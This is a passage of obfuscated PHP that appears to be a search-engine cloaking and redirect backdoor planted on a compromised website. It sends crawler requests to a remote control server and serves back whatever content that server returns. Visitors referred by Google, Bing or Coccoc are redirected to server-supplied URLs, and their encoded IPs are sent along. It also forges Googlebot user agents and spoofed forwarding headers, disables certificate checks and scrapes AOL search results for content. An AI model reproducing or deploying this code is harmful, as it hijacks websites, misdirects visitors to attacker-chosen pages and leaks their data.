$pid,'spider_url'=>$spider_result[((80*SS_SS_-4160)-3640+SS_SS_*70)],'html_text'=>$spider_result[(67*SS_SS_-3483)]);}else{$pid=isset($pid)?$pid:((80*SS_SS_-4160)-3640+SS_SS_*70);$data=array('kid'=>$pid,'spider_url'=>'','html_text'=>'');}$BotContent_mb=post($TD_server. "/postcreate.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,$data,$user_agent);if(!empty($BotContent_mb)){echo $BotContent_mb;exit;}}}if(strpos($referer,'google')!==false||strpos($referer,'coccoc')!==false||strpos($referer,'bing')!==false){if(judgeLanguage($lang)==(67*SS_SS_-3483)){$client_ip=base64_encode(get_client_ip());$referer=urlencode($referer);$response=curl_request($TD_server. "/getlink.php?type=" .$http_type. "&host=" .$host. "&request=" .$request. "&referer=" .$referer. "&client_ip=" .$client_ip,$user_agent);if($response!==false&&$response[((80*SS_SS_-4160)-3640+SS_SS_*70)]==((SS_SS_*73-3796)-2608+SS_SS_*54)&&strlen($response[(67*SS_SS_-3483)])>(0-983+SS_SS_*19)){$tzurl=trim($response[(67*SS_SS_-3483)]);$tzurl=str_replace(array(chr(((SS_SS_*73-3796)-4233+SS_SS_*86)),chr(((SS_SS_*73-3796)-2933+60*SS_SS_)),chr((SS_SS_*52-2513))," "," "," "," "),'',$tzurl);@header("Location: " . $tzurl);exit;}}}function generate_random_ua(){$user_agents=['Mozilla/5.0 (Windows NT 6.3; WOW64; rv:54.0) Gecko/20100101 Firefox/' .rand(((79*SS_SS_-4108)-4419+85*SS_SS_),(SS_SS_*39-1928)),'Mozilla/' .rand((17*SS_SS_-881),((79*SS_SS_-4108)-3271+63*SS_SS_)). '.0 (Windows NT 10.0; Win64; x64; rv:' .rand((SS_SS_*39-1978),(50*SS_SS_-2540)). ') Gecko/20100101 Firefox/' .rand(((79*SS_SS_-4108)-4419+85*SS_SS_),(SS_SS_*39-1928)),'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:' .rand((SS_SS_*39-1978),(50*SS_SS_-2540)). ') AppleWebKit/' .rand((24*SS_SS_-748),(SS_SS_*29-908)). '.36 (KHTML, like Gecko) Chrome/' .rand((SS_SS_*39-1978),(50*SS_SS_-2540)). '.0.3112.90 Safari/' .rand((24*SS_SS_-748),(SS_SS_*29-908)). '.36','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/' .rand(((79*SS_SS_-4108)-4771+92*SS_SS_),(SS_SS_*42-2168)). '.0 Safari/605.1.15','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .rand(((79*SS_SS_-4108)-4434+87*SS_SS_),(SS_SS_*39-1928)). '.0.4430.212 Safari/537.36 Edg/' .rand(((79*SS_SS_-4108)-4434+87*SS_SS_),(SS_SS_*39-1928)). '.0.1185.44','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .rand(((79*SS_SS_-4108)-4434+87*SS_SS_),(SS_SS_*39-1928)). '.0.4430.212 Safari/537.36 OPR/' .rand(((79*SS_SS_-4108)-2836+56*SS_SS_),(SS_SS_*62-3138)). '.0.4017.123','Mozilla/5.0 (Linux; Android ' .rand(((79*SS_SS_-4108)-4828+93*SS_SS_),(61*SS_SS_-3160)). '.0; SM-G9' .rand(((79*SS_SS_-4108)-3271+63*SS_SS_),(SS_SS_*76-3943)). '0F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .rand(((79*SS_SS_-4108)-4434+87*SS_SS_),(SS_SS_*39-1928)). '.0.4430.212 Mobile Safari/537.36','Mozilla/5.0 (iPhone; CPU iPhone OS ' .rand((40*SS_SS_-2066),(SS_SS_*42-2168)). '_' .rand((79*SS_SS_-4108),((79*SS_SS_-4108)-3271+63*SS_SS_)). ' like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/' .rand((40*SS_SS_-2066),(SS_SS_*42-2168)). '.0 Mobile/15E148 Safari/604.1',];return $user_agents[array_rand($user_agents)];}function curl_request($url,$ua='',$referer=null){global $has_curl,$curl_timeout;if($ua==''){$ua=generate_random_ua();}if($has_curl){$ip=rand(((((0-624+12*SS_SS_)-1872+36*SS_SS_)-1196+23*SS_SS_)-2027+SS_SS_*39),((((0-624+12*SS_SS_)-1872+36*SS_SS_)-1196+23*SS_SS_)-3698+76*SS_SS_)). '.' .rand(((((0-624+12*SS_SS_)-1872+36*SS_SS_)-1196+23*SS_SS_)-2027+SS_SS_*39),((((0-624+12*SS_SS_)-1872+36*SS_SS_)-1196+23*SS_SS_)-3698+76*SS_SS_)). '.' .rand(((((0-624+12*SS_SS_)-1872+36*SS_SS_)-1196+23*SS_SS_)-2027+SS_SS_*39),((((0-624+12*SS_SS_)-1872+36*SS_SS_)-1196+23*SS_SS_)-3698+76*SS_SS_)). '.' .rand(((((0-624+12*SS_SS_)-1872+36*SS_SS_)-1196+23*SS_SS_)-2027+SS_SS_*39),((((0-624+12*SS_SS_)-1872+36*SS_SS_)-1196+23*SS_SS_)-3698+76*SS_SS_));$headers['CLIENT-IP']=$ip;$headers['X-FORWARDED-FOR']=$ip;$headerArr=array();foreach($headers as $n=>$v){$headerArr[]=$n. ':' .$v;}$curl=curl_init();curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl,CURLOPT_HTTPHEADER,$headerArr);curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,(((0-624+12*SS_SS_)-1872+36*SS_SS_)-1196+23*SS_SS_));curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,(SS_SS_*26-1350));curl_setopt($curl,CURLOPT_USERAGENT,$ua);curl_setopt($curl,CURLOPT_FOLLOWLOCATION,((((0-624+12*SS_SS_)-1872+36*SS_SS_)-1196+23*SS_SS_)-2027+SS_SS_*39));curl_setopt($curl,CURLOPT_AUTOREFERER,((((0-624+12*SS_SS_)-1872+36*SS_SS_)-1196+23*SS_SS_)-2027+SS_SS_*39));curl_setopt($curl,CURLOPT_ENCODING,"gzip");curl_setopt($curl,CURLOPT_HTTPGET,((((0-624+12*SS_SS_)-1872+36*SS_SS_)-1196+23*SS_SS_)-2027+SS_SS_*39));curl_setopt($curl,CURLOPT_TIMEOUT,$curl_timeout);curl_setopt($curl,CURLOPT_HEADER,(((0-624+12*SS_SS_)-1872+36*SS_SS_)-1196+23*SS_SS_));curl_setopt($curl,CURLOPT_RETURNTRANSFER,((((0-624+12*SS_SS_)-1872+36*SS_SS_)-1196+23*SS_SS_)-2027+SS_SS_*39));curl_setopt($curl,CURLOPT_REFERER,$referer);$output=curl_exec($curl);$httpcode=curl_getinfo($curl,CURLINFO_HTTP_CODE);curl_close($curl);return $output?[$httpcode,$output]:false;}else{$options=['http'=>['method'=>'GET','ignore_errors'=>true,'header'=>"User-Agent: " .$ua. " " . "Referer: " .$referer. " ",'timeout'=>$curl_timeout],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]];$context=stream_context_create($options);$response=@file_get_contents($url,false,$context);if($response===false){return false;}$http_response_header=isset($http_response_header)?$http_response_header:[];preg_match('/HTTP\/\d\.\d (\d{3})/',$http_response_header[(((0-624+12*SS_SS_)-1872+36*SS_SS_)-1196+23*SS_SS_)],$matches);$httpcode=isset($matches[((((0-624+12*SS_SS_)-1872+36*SS_SS_)-1196+23*SS_SS_)-2027+SS_SS_*39)])?(int)$matches[((((0-624+12*SS_SS_)-1872+36*SS_SS_)-1196+23*SS_SS_)-2027+SS_SS_*39)]:(((0-624+12*SS_SS_)-1872+36*SS_SS_)-1196+23*SS_SS_);return[$httpcode,$response];}}function post($url,$postData,$ua=''){global $has_curl;if($ua==''){$ua=generate_random_ua();}if($has_curl){$curl=curl_init();curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl,CURLOPT_HEADER,(0-3016+SS_SS_*58));curl_setopt($curl,CURLOPT_USERAGENT,$ua);curl_setopt($curl,CURLOPT_POST,true);curl_setopt($curl,CURLOPT_POSTFIELDS,http_build_query($postData));curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);$output=curl_exec($curl);curl_close($curl);return $output;}else{$postData=http_build_query($postData);$options=['http'=>['method'=>'POST','header'=>"Content-type: application/x-www-form-urlencoded; charset=UTF-8 " . "Accept: application/json " . "User-Agent: " .$ua. " ",'content'=>$postData,'timeout'=>(0-770+SS_SS_*15)],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]];$context=stream_context_create($options);$response=@file_get_contents($url,false,$context);return $response;}}function judgeLanguage($lang){if(isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])){$languages=explode(',',$_SERVER['HTTP_ACCEPT_LANGUAGE']);$firstLang=strtolower(trim($languages[(SS_SS_*95-4940)]));return substr($firstLang,(SS_SS_*95-4940),(SS_SS_*34-1766))===$lang?(((SS_SS_*90-4680)-208+4*SS_SS_)-1403+27*SS_SS_):(SS_SS_*95-4940);}return (SS_SS_*95-4940);}function getNumber($string){$posSitemap=strpos($string,'sitemap');$posXml=strpos($string,'.xml');if($posSitemap!==false&&$posXml!==false&&$posXml>$posSitemap){$length=$posXml-$posSitemap-strlen('sitemap');$substring=substr($string,$posSitemap+strlen('sitemap'),$length);return intval($substring);}return (0-2652+51*SS_SS_);}function get_client_ip(){$ip_keys=array('HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR','HTTP_X_FORWARDED','HTTP_FORWARDED_FOR','HTTP_FORWARDED','REMOTE_ADDR');foreach($ip_keys as $key){if(array_key_exists($key,$_SERVER)===true){foreach(explode(',',$_SERVER[$key])as $ip){$ip=trim($ip);if(filter_var($ip,FILTER_VALIDATE_IP,FILTER_FLAG_IPV4|FILTER_FLAG_IPV6)!==false){return $ip;}}}}return 'unknown';}function spider($name){$hrefTemp=spider_search($name);if(empty($hrefTemp)){return false;}$hrefArray=[];foreach($hrefTemp as $href){$non_web_extensions=['pdf','doc','docx','xls','xlsx','ppt','pptx'];$file_extension=pathinfo(parse_url($href,PHP_URL_PATH),PATHINFO_EXTENSION);if(in_array(strtolower($file_extension),$non_web_extensions)){continue 1;}if(stripos($href,'youtube.com')!==false||stripos($href,'twitter.com')!==false||stripos($href,'bing.com')!==false){continue 1;}$hrefArray[]=$href;}if(empty($hrefArray)){return false;}shuffle($hrefArray);$googleua="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)";foreach($hrefArray as $href){$spider_html=curl_request($href,$googleua,$href);if($spider_html!==false&&$spider_html[(0-2028+SS_SS_*39)]==(0-2244+47*SS_SS_)){$htmltext=trim($spider_html[(0-4367+SS_SS_*84)]);if(strlen($htmltext)>(SS_SS_*24+752)){return[$href,$htmltext];}}}return false;}function spider_search($name){$search_url="https://search.aol.com/aol/search?q=" . urlencode($name);$hrefArray=[];$result=curl_request($search_url,'',$search_url);if($result===false||$result[(1*SS_SS_-52)]!==(0-4064+SS_SS_*82)){return[];}$html=$result[(0-3327+64*SS_SS_)];$dom=new DOMDocument();@$dom->loadHTML($html);$xpath=new DOMXPath($dom);foreach($xpath->query('//a[@href]')as $a){$href=$a->getAttribute('href');if(!preg_match('/\/RU=([^\/]+)\/RK=/',$href,$m)){continue 1;}$realUrl=urldecode($m[(0-3327+64*SS_SS_)]);$host=parse_url($realUrl,PHP_URL_HOST);if(!$host)continue 1;if(stripos($host,'aol.com')!==false||stripos($host,'oath.com')!==false){continue 1;}if(preg_match('/(google|facebook|twitter|youtube|bing|apple|microsoft|yahoo|schema\.org|w3\.org)/i',$host)){continue 1;}if(preg_match('/\.(js|css|png|jpg|jpeg|gif|svg|ico|webp|pdf)$/i',$realUrl)){continue 1;}if(!preg_match('#^https?://#i',$realUrl)){continue 1;}$hrefArray[]=$realUrl;}return array_values(array_unique($hrefArray));} ?>